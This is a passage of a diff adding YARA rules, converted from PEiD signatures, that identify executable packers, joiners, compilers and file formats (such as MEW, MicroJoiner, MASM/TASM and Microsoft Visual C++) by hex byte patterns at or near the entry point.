+        $a = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00998_MarjinZ_EXE_Scrambler_SE___by_MarjinZ_
+{
+    meta:
+        description = "[MarjinZ EXE-Scrambler SE - by MarjinZ]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00999_MaskPE_1_6____yzkzero_
+{
+    meta:
+        description = "[MaskPE 1.6 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+    condition:
+        $a
+}
+
+rule PEiD_01000_MaskPE_V2_0____yzkzero_
+{
+    meta:
+        description = "[MaskPE V2.0 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01001_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? 32 40 00 E8 ?? 0? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01002_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? ?? 40 00 ?? ?? ?? ?0 ?0 ?? ?? 00 00 00 ?? ?? 0? ?? ?? ?0 ?? ?? ?0 ?0 ?? ?? ?? ?0 ?? 0? ?? ?0 ?0 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01003_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01004_MASM_TASM___sig1_h__
+{
+    meta:
+        description = "[MASM/TASM - sig1(h)]"
+        ep_only = "false"
+    strings:
+        $a = {CC FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01005_MASM_TASM___sig2_h__
+{
+    meta:
+        description = "[MASM/TASM - sig2(h)]"
+        ep_only = "false"
+    strings:
+        $a = {C2 ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01006_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C3 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01007_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01008_MASM32_
+{
+    meta:
+        description = "[MASM32]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01009_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+    condition:
+        $a
+}
+rule PEiD_01010_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01011_MEGALITE_v1_20a_
+{
+    meta:
+        description = "[MEGALITE v1.20a]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01012_MESS_v1_20_
+{
+    meta:
+        description = "[MESS v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01013_MetaWare_High_C___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01014_MetaWare_High_C_Run_Time_Library___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01015_Metrowerks_CodeWarrior__DLL__v2_0_
+{
+    meta:
+        description = "[Metrowerks CodeWarrior (DLL) v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01016_Metrowerks_CodeWarrior_v2_0__Console__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (Console)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01017_Metrowerks_CodeWarrior_v2_0__GUI__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01018_MEW_10_by_Northfox_
+{
+    meta:
+        description = "[MEW 10 by Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+    condition:
+        $a
+}
+rule PEiD_01019_Mew_10_exe_coder_1_0____Northfox__HCC__
+{
+    meta:
+        description = "[Mew 10 exe-coder 1.0 -> Northfox [HCC]]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_01020_MEW_11_SE_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.0 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01021_MEW_11_SE_1_1____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.1 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_01022_MEW_11_SE_1_2_
+{
+    meta:
+        description = "[MEW 11 SE 1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_01023_MEW_11_SE_v1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE v1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C ?0}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01024_MEW_11_SE_v1_1_
+{
+    meta:
+        description = "[MEW 11 SE v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+*/
+/*
+rule PEiD_01025_Mew_11_SE_v1_2__Eng_____Northfox_
+{
+    meta:
+        description = "[Mew 11 SE v1.2 (Eng) -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+*/
+/*
+rule PEiD_01026_MEW_11_SE_v1_2____Northfox_HCC_
+{
+    meta:
+        description = "[MEW 11 SE v1.2 -> Northfox[HCC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01027_MEW_11_SE_v1_2_
+{
+    meta:
+        description = "[MEW 11 SE v1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01028_MEW_5_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 5 1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01029_Mew_5_0_1____NorthFox___HCC_
+{
+    meta:
+        description = "[Mew 5.0.1 -> NorthFox / HCC]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01030_MicroJoiner_1_1____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.1 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01031_MicroJoiner_1_5____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.5 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01032_MicroJoiner_1_6____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.6 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01033_MicroJoiner_1_7____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.7 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01034_Microsoft__R__Full_text_index_file_
+{
+    meta:
+        description = "[Microsoft (R) Full-text index file]"
+        ep_only = "false"
+    strings:
+        $a = {6C 6C 2D 74 65 78 74 20 69 6E 64 65 78}
+    condition:
+        $a
+}
+
+rule PEiD_01035_Microsoft__R__Incremental_Linker_Version_5_12_8078__MASM_TASM__
+{
+    meta:
+        description = "[Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40}
+    condition:
+        $a
+}
+rule PEiD_01036_Microsoft_Access_Database_file_
+{
+    meta:
+        description = "[Microsoft Access Database file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 00}
+    condition:
+        $a
+}
+
+rule PEiD_01037_Microsoft_Basic_Compiler_v5_60_1982_97_
+{
+    meta:
+        description = "[Microsoft Basic Compiler v5.60 1982-97]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01038_Microsoft_C__1988_1989__
+{
+    meta:
+        description = "[Microsoft C (1988/1989)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01039_Microsoft_C__1990_1992__
+{
+    meta:
+        description = "[Microsoft C (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01040_Microsoft_C_for_Windows__1__
+{
+    meta:
+        description = "[Microsoft C for Windows (1)]"
+        ep_only = "true"
+    strings:
+        $a = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01041_Microsoft_C_for_Windows__2__
+{
+    meta:
+        description = "[Microsoft C for Windows (2)]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01042_Microsoft_C_Library_1985_
+{
+    meta:
+        description = "[Microsoft C Library 1985]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01043_Microsoft_C_v1_04_
+{
+    meta:
+        description = "[Microsoft C v1.04]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01044_Microsoft_C____1990_1992__
+{
+    meta:
+        description = "[Microsoft C++ (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01045_Microsoft_C_
+{
+    meta:
+        description = "[Microsoft C]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? B8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01046_Microsoft_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft CAB SFX module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01047_Microsoft_CAB_SFX_
+{
+    meta:
+        description = "[Microsoft CAB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01048_Microsoft_FORTRAN_
+{
+    meta:
+        description = "[Microsoft FORTRAN]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01049_Microsoft_Resource_Cursors_file_
+{
+    meta:
+        description = "[Microsoft Resource Cursors file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 02 00 01 00 20 20 00 00 ?? 00 ?? 00 E8 02 00 00 16}
+    condition:
+        $a
+}
+/*
+rule PEiD_01050_Microsoft_Visual_Basic_5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01051_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_01052_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_01053_Microsoft_Visual_Basic_v5_0_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0/v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+
+rule PEiD_01054_Microsoft_Visual_Basic_v5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+rule PEiD_01055_Microsoft_Visual_Basic_v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_01056_Microsoft_Visual_Basic_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_01057_Microsoft_Visual_C_2_0_
+{
+    meta:
+        description = "[Microsoft Visual C 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01058_Microsoft_Visual_C_5_0_
+{
+    meta:
+        description = "[Microsoft Visual C 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_01059_Microsoft_Visual_C_v2_0_
+{
+    meta:
+        description = "[Microsoft Visual C v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01060_Microsoft_Visual_C____Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# / Basic .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01061_Microsoft_Visual_C__v7_0___Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# v7.0 / Basic .NET]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01062_Microsoft_Visual_C____3_0_old_crap__
+{
+    meta:
+        description = "[Microsoft Visual C++ (3.0 old crap)]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01063_Microsoft_Visual_C___4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ 4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01064_Microsoft_Visual_C___5_0___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 5.0 - 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 04 01 00 00 68 04 01 00 00 8D 85 FC FE FF FF 50 6A 00 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D FC FE FF FF 51 E8 ?? ?? ?? ?? 83 C4 04 E8 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 8B E5 5D C2 10 00}
+    condition:
+        $a
+}
+
+rule PEiD_01065_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+    condition:
+        $a
+}
+rule PEiD_01066_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01067_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01068_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+rule PEiD_01069_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
